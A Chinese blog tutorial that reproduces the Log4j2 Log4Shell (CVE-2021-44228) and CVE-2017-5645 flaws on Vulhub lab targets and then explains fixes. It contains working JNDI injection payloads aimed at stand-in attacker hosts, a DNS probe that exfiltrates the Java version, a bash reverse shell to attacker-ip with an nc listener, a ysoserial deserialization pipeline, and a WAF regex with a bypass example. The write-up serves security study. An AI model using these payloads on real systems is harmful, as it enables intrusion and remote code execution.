「漏洞复现」Log4j2 (CVE-2021-44228) 远程代码执行漏洞完整复现与原理分析
2026/6/26 2:15:53 网站建设 项目流程

声明:本文仅供安全研究与学习使用,严禁用于非法用途。未经授权对他人系统进行渗透测试属于违法行为。

0x00 前言

2021年12月,一个编号为 CVE-2021-44228 的漏洞震动了整个互联网——Apache Log4j2 JNDI 注入漏洞,又名Log4Shell。CVSS 评分满分10.0(Critical),影响全球数百万 Java 应用。

这个漏洞为什么这么恐怖?因为 Log4j2 是 Java 生态中使用最广泛的日志框架,几乎所有 Java 应用都在用。而攻击者只需要让目标记录一条包含恶意 payload 的日志——一个 HTTP 请求头、一个 URL 参数、甚至一个用户名——就能实现远程代码执行

本文将从漏洞原理→环境搭建→完整复现→修复方案四个维度,带你彻底搞懂 Log4Shell。


0x01 漏洞背景

属性详情
CVE编号CVE-2021-44228
漏洞名称Apache Log4j2 JNDI 注入(Log4Shell)
CVSS评分10.0 Critical
影响版本Log4j 2.0 ~ 2.14.1
修复版本2.15.0(初始修复)→ 2.17.0(完全修复)
漏洞类型JNDI 注入 → 远程代码执行(RCE)
发现时间2021年12月9日

衍生漏洞时间线

日期CVE内容修复版本
2021-12-09CVE-2021-44228JNDI 注入 RCE2.15.0
2021-12-13CVE-2021-450462.15.0 绕过(默认配置下仍可利用)2.16.0
2021-12-18CVE-2021-45105递归查找导致 DoS2.17.0
2021-12-28CVE-2021-44832JDBC Appender 中的 RCE(需控制配置文件)2.17.1

0x02 漏洞原理深度分析

2.1 什么是 Log4j2 的 Lookup 机制?

Log4j2 提供了一个强大的功能叫Message Lookups,允许在日志消息中使用${prefix:name}语法进行动态查找替换。例如:

// 记录日志时,Log4j2 会自动解析 ${} 中的表达式logger.info("系统版本: ${java:os}");// 输出: 系统版本: Windows 10 10.0

支持的 Lookup 前缀包括:

前缀功能示例
${java:os}获取操作系统信息Windows 10 10.0
${java:version}获取 Java 版本1.8.0_291
${env:PATH}获取环境变量/usr/bin:…
${sys:user.dir}获取系统属性/opt/app
${jndi:...}JNDI 查找危险!

2.2 JNDI 是什么?为什么危险?

JNDI(Java Naming and Directory Interface)是 Java 的命名与目录接口,允许 Java 应用通过名称查找远程资源。支持多种协议:

jndi:ldap://attacker.com/evil → 通过 LDAP 协议加载远程对象 jndi:rmi://attacker.com/evil → 通过 RMI 协议加载远程对象

漏洞的核心问题:Log4j2 在处理${jndi:...}时,没有对 JNDI 可解析的协议和地址做任何限制。当日志中包含如下 payload:

${jndi:ldap://attacker.com/evil}

Log4j2 会:

  1. 解析到${jndi:...}表达式
  2. 通过 JNDI 发起 LDAP 请求到attacker.com
  3. 从攻击者控制的 LDAP 服务器获取远程 Java 类的引用
  4. 下载并执行远程 Java 类→ RCE!

2.3 攻击链路图

攻击者 目标服务器 恶意LDAP服务器 | | | | HTTP请求(含payload) | | | User-Agent: ${jndi: | | | ldap://evil.com/a} | | |------------------------>| | | | | | | Log4j2记录日志 | | | 解析${jndi:ldap://evil.com/a} | |--------------------------->| | | | | | 返回恶意Java类引用 | | |<---------------------------| | | | | | 加载并实例化远程类 | | | ★ 远程代码执行! | | | |

2.4 JDK 版本的影响

JNDI 注入能否成功,与目标 JDK 版本密切相关:

JDK 版本直接利用原因
< 8u191可以默认允许加载远程 Codebase
≥ 8u191受限com.sun.jndi.ldap.object.trustURLCodebase=false
≥ 8u191(绕过)可能利用本地 ClassPath 中的 Gadget(如 Tomcat EL)

本文复现环境中 JDK 版本低于 8u191,可以直接利用。


0x03 漏洞复现

3.1 环境准备

所需工具

  • Docker + Docker Compose
  • Vulhub 靶场(开源漏洞靶场集合)
  • Java Chains(JNDI 利用工具)
  • DNS 日志平台(如 dnslog.cn / interactsh)

3.2 启动靶场环境

# 进入 Vulhub 的 Log4j2 漏洞目录cdvulhub/log4j/CVE-2021-44228# 一键启动靶场dockercompose up-d

启动后,访问http://your-ip:8983,可以看到 Apache Solr 的管理页面:

Apache Solr 8.11.0

该靶场使用 Apache Solr 8.11.0 作为目标应用,其内部依赖了存在漏洞的 Log4j 2.14.1。

3.3 第一步:DNS 探测(验证漏洞存在)

在发起真正攻击之前,先用 DNS 探测确认目标确实存在 JNDI 注入漏洞。

访问 DNS 日志平台(如 dnslog.cn),获取一个子域名,例如:

xxxxxx.dnslog.cn

构造探测 payload,发送 HTTP 请求:

GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xxxxxx.dnslog.cn} HTTP/1.1 Host: your-ip:8983

也可以用 curl 命令:

curl"http://your-ip:8983/solr/admin/cores?action=\${jndi:ldap://\${sys:java.version}.xxxxxx.dnslog.cn}"

回到 DNS 日志平台刷新,如果看到类似如下的 DNS 查询记录:

1.8.0_291.xxxxxx.dnslog.cn

说明 JNDI 注入成功!而且我们还拿到了目标的 Java 版本号。

3.4 第二步:利用 Java Chains 执行命令

  1. 启动 Java Chains 工具(Vulhub 提供的 JNDI 利用工具)

  2. 生成 Payload

    • 选择 JNDI Basic Payload 模块
    • 设置执行的命令,例如:touch /tmp/success
    • 工具会生成类似如下的 LDAP URL:
      ldap://your-attacker-ip:1389/basic/TouchFile
  3. 发送攻击请求

GET /solr/admin/cores?action=${jndi:ldap://your-attacker-ip:1389/basic/TouchFile} HTTP/1.1 Host: your-ip:8983

3.5 第三步:验证命令执行

进入靶场容器检查:

dockercomposeexecsolrbash# 检查文件是否被创建ls-la/tmp/success

如果看到/tmp/success文件存在,说明命令执行成功!

3.6 反弹 Shell(进阶)

将执行命令替换为反弹 shell:

# bash 反弹 shell 命令bash-c'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'

需要对命令进行 Base64 编码以避免特殊字符问题。

攻击者监听:

nc-lvnp4444

0x04 补充:Log4j 另一个反序列化漏洞(CVE-2017-5645)

除了 Log4Shell,Log4j 还有一个较少人知的反序列化漏洞。

属性详情
CVE编号CVE-2017-5645
漏洞类型反序列化 RCE
影响版本Log4j 2.x < 2.8.2
攻击条件需要目标开启 TCP Socket Server(端口 4712)

漏洞原理

Log4j 的TcpSocketServer使用ObjectInputStreamLogEventBridge接收日志事件,直接对传入数据进行 Java 原生反序列化,没有白名单过滤

// 漏洞代码TcpSocketServer<ObjectInputStream>myServer=newTcpSocketServer<ObjectInputStream>(4712,newObjectInputStreamLogEventBridge()// 直接反序列化,无过滤!);myServer.run();

复现步骤

# 启动环境cdvulhub/log4j/CVE-2017-5645dockercompose up-d# 使用 ysoserial 生成 payload 并发送java-jarysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5"touch /tmp/success"|ncyour-ip4712# 验证dockercomposeexeclog4jbash-c"ls -la /tmp/success"

该漏洞利用条件较苛刻(需要网络可达 TCP 4712 端口),但一旦满足,危害同样严重。


0x05 修复方案

5.1 根本修复:升级 Log4j2

目标版本说明
2.17.1推荐,修复了所有已知漏洞(含 CVE-2021-44832)
2.17.0修复 DoS(CVE-2021-45105)
2.16.0修复绕过(CVE-2021-45046),移除 Message Lookups
2.15.0初始修复(CVE-2021-44228),默认禁用 JNDI lookup

5.2 临时缓解措施(无法升级时使用)

方法一:设置 JVM 启动参数(仅 2.10.0+ 有效)

-Dlog4j2.formatMsgNoLookups=true

方法二:删除 JndiLookup 类

zip-q-dlog4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

方法三:设置环境变量

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

5.3 检测是否受影响

# 查找项目中使用的 Log4j 版本find/-name"log4j-core-*.jar"2>/dev/null# 检查 Java 应用的依赖树mvn dependency:tree|greplog4j

5.4 WAF 防护规则(纵深防御)

在 WAF 中拦截包含 JNDI lookup 特征的请求:

# 正则匹配 \$\{jndi:(ldap|rmi|dns|nis|iiop|corba):[^}]+\}

注意:WAF 规则可被绕过(如${${lower:j}ndi:...}),不能替代升级。


0x06 总结

维度CVE-2021-44228 (Log4Shell)CVE-2017-5645
攻击入口任何能触发日志记录的输入TCP 4712 端口直连
利用难度极低中等
危害级别严重(CVSS 10.0)高(CVSS 9.8)
影响范围全球数百万应用开启 TCP Server 的应用
核心原因JNDI lookup 无限制反序列化无过滤

关键教训

  1. 永远不要信任用户输入——即使它只是被"记录到日志"
  2. 最小权限原则——日志框架不需要 JNDI 远程加载能力
  3. 保持依赖更新——Log4j2 从 2.0 就存在这个设计缺陷,长达 8 年未被发现
  4. 纵深防御——升级 + WAF + 监控,多层防护

参考资源

  • Apache Log4j2 安全公告
  • Vulhub Log4j2 靶场
  • LunaSec Log4Shell 深度分析
  • 安全社区 Log4j2 深度分析

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询